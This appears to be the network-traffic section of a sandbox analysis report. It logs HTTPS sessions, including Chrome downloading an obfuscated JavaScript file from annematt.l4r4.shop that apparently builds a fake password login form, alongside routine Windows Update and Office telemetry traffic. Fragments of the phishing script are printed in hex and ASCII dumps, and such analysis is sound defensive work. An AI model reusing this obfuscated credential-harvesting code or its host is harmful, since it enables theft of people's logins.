2024-10-24 20:09:28 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	185.23.253.5	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:28 UTC	359	OUT	GET /origattachment.js HTTP/1.1 Host: annematt.l4r4.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:28 UTC	213	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:28 GMT Server: Apache Last-Modified: Mon, 14 Oct 2024 04:53:03 GMT Accept-Ranges: bytes Content-Length: 37413 Connection: close Content-Type: text/javascript
2024-10-24 20:09:28 UTC	7979	IN	Data Raw: 76 61 72 20 5f 30 78 33 34 35 38 38 62 3d 5f 30 78 35 32 38 66 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 36 66 34 39 30 39 2c 5f 30 78 35 39 63 66 61 38 29 7b 76 61 72 20 5f 30 78 31 64 63 34 65 33 3d 5f 30 78 35 32 38 66 2c 5f 30 78 35 38 32 63 31 31 3d 5f 30 78 36 66 34 39 30 39 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 33 32 64 63 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 66 32 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 65 63 29 29 2f 30 78 32 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 31 30 62 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 66 30 29 29 2f 30 78 34 29 2b 2d 70 Data Ascii: var _0x34588b=_0x528f;(function(_0x6f4909,_0x59cfa8){var _0x1dc4e3=_0x528f,_0x582c11=_0x6f4909();while(!![]){try{var _0x32dc8d=-parseInt(_0x1dc4e3(0xf2))/0x1+-parseInt(_0x1dc4e3(0xec))/0x2+parseInt(_0x1dc4e3(0x10b))/0x3*(-parseInt(_0x1dc4e3(0xf0))/0x4)+-p
2024-10-24 20:09:28 UTC	8000	IN	Data Raw: 65 6d 65 6d 62 65 72 5c 78 32 30 79 6f 75 72 5c 78 32 30 70 61 73 73 77 6f 72 64 2c 5c 78 32 30 27 2c 27 31 30 53 6d 6f 64 6a 63 27 2c 27 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5c 78 32 30 69 6e 70 75 74 5c 78 32 30 65 78 74 2d 69 6e 70 75 74 5c 78 32 30 74 65 78 74 2d 62 6f 78 5c 78 32 30 65 78 74 2d 74 65 78 74 2d 62 6f 78 27 2c 27 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 27 2c 27 31 37 36 32 31 36 63 51 44 6f 51 59 27 2c 27 6e 6f 6e 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 68 74 6d 6c 27 2c 27 31 39 31 38 36 34 47 78 48 56 43 43 27 2c 27 31 35 30 37 38 36 67 53 45 4a 44 48 27 2c 27 31 31 31 39 39 34 76 46 65 5a 79 42 27 2c 27 6c 61 73 74 2d 66 72 61 6d 65 27 2c 27 62 6f 72 64 65 72 43 6f 6c 6f 72 27 2c 27 73 74 79 6c 65 27 2c 27 32 38 31 39 33 Data Ascii: emember\x20your\x20password,\x20','10Smodjc','form-control\x20input\x20ext-input\x20text-box\x20ext-text-box','background-image','176216cQDoQY','none','location','html','191864GxHVCC','150786gSEJDH','111994vFeZyB','last-frame','borderColor','style','28193
2024-10-24 20:09:28 UTC	8000	IN	Data Raw: 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 36 25 37 35 25 36 43 25 36 43 25 32 44 25 36 38 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 32 32 25 33 45 25 30 41 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 36 25 36 43 25 36 35 25 37 38 25 32 44 25 36 33 25 36 46 25 36 43 25 37 35 25 36 44 25 36 45 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 37 37 25 36 39 25 36 45 25 32 44 25 37 33 25 36 33 25 37 32 25 36 46 25 36 43 25 36 43 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 Data Ascii: 3%6C%61%73%73%3D%22%66%75%6C%6C%2D%68%65%69%67%68%74%22%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6C%65%78%2D%63%6F%6C%75%6D%6E%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%69%6E%2D%73%63%72%6F%6C%6C%22%3E%0A%20%20%20%20%20%3C%64%69%76%2
2024-10-24 20:09:28 UTC	8000	IN	Data Raw: 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 30 25 37 33 25 36 35 25 36 33 25 36 46 25 36 45 25 36 34 25 36 31 25 37 32 25 37 39 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 37 33 25 36 35 25 36 33 25 36 46 25 36 45 25 36 34 25 36 31 25 37 32 25 37 39 25 32 32 25 32 30 25 37 36 25 36 31 25 36 43 25 37 35 25 36 35 25 33 44 25 32 32 25 34 32 25 36 31 25 36 33 25 36 42 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 46 25 36 34 25 36 39 25 37 36 25 33 45 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 Data Ascii: 75%74%74%6F%6E%20%65%78%74%2D%62%75%74%74%6F%6E%20%73%65%63%6F%6E%64%61%72%79%20%65%78%74%2D%73%65%63%6F%6E%64%61%72%79%22%20%76%61%6C%75%65%3D%22%42%61%63%6B%22%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
2024-10-24 20:09:28 UTC	5434	IN	Data Raw: 25 36 35 25 37 32 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 44 25 36 36 25 36 39 25 36 35 25 36 43 25 36 34 25 32 44 25 36 33 25 36 46 25 36 45 25 37 34 25 36 31 25 36 39 25 36 45 25 36 35 25 37 32 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 39 25 36 45 25 36 43 25 36 39 25 36 45 25 36 35 25 32 44 25 36 32 25 36 43 25 36 46 25 36 33 25 36 42 25 32 30 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 44 25 36 39 25 37 34 25 36 35 25 36 44 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 44 25 36 39 Data Ascii: %65%72%20%65%78%74%2D%62%75%74%74%6F%6E%2D%66%69%65%6C%64%2D%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%20%62%75%74%74%6F%6E%2D%69%74%65%6D%20%65%78%74%2D%62%75%74%74%6F%6E%2D%69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49715	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uUPoP5nkBVgDXfP&MD=EdkSUG8H HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-24 20:09:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: fcc6d259-2e3f-4a74-ad8c-a27266728c61 MS-RequestId: cd421d25-e2fc-4629-81f2-ab83f15a256d MS-CV: BWyI+e76ZkevF+uS.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 24 Oct 2024 20:09:28 GMT Connection: close Content-Length: 24490
2024-10-24 20:09:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-24 20:09:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:29 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:29 UTC	561	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:29 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 23 Oct 2024 06:30:03 GMT ETag: "0x8DCF32C20D7262E" x-ms-request-id: 44315f87-b01e-0070-2fac-251cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200929Z-r197bdfb6b4bq7nf8mnywhn9e000000000ng000000005ggf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:29 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-24 20:09:29 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-24 20:09:29 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-24 20:09:29 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-24 20:09:29 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-24 20:09:29 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-24 20:09:30 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-24 20:09:30 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-24 20:09:30 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-24 20:09:30 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
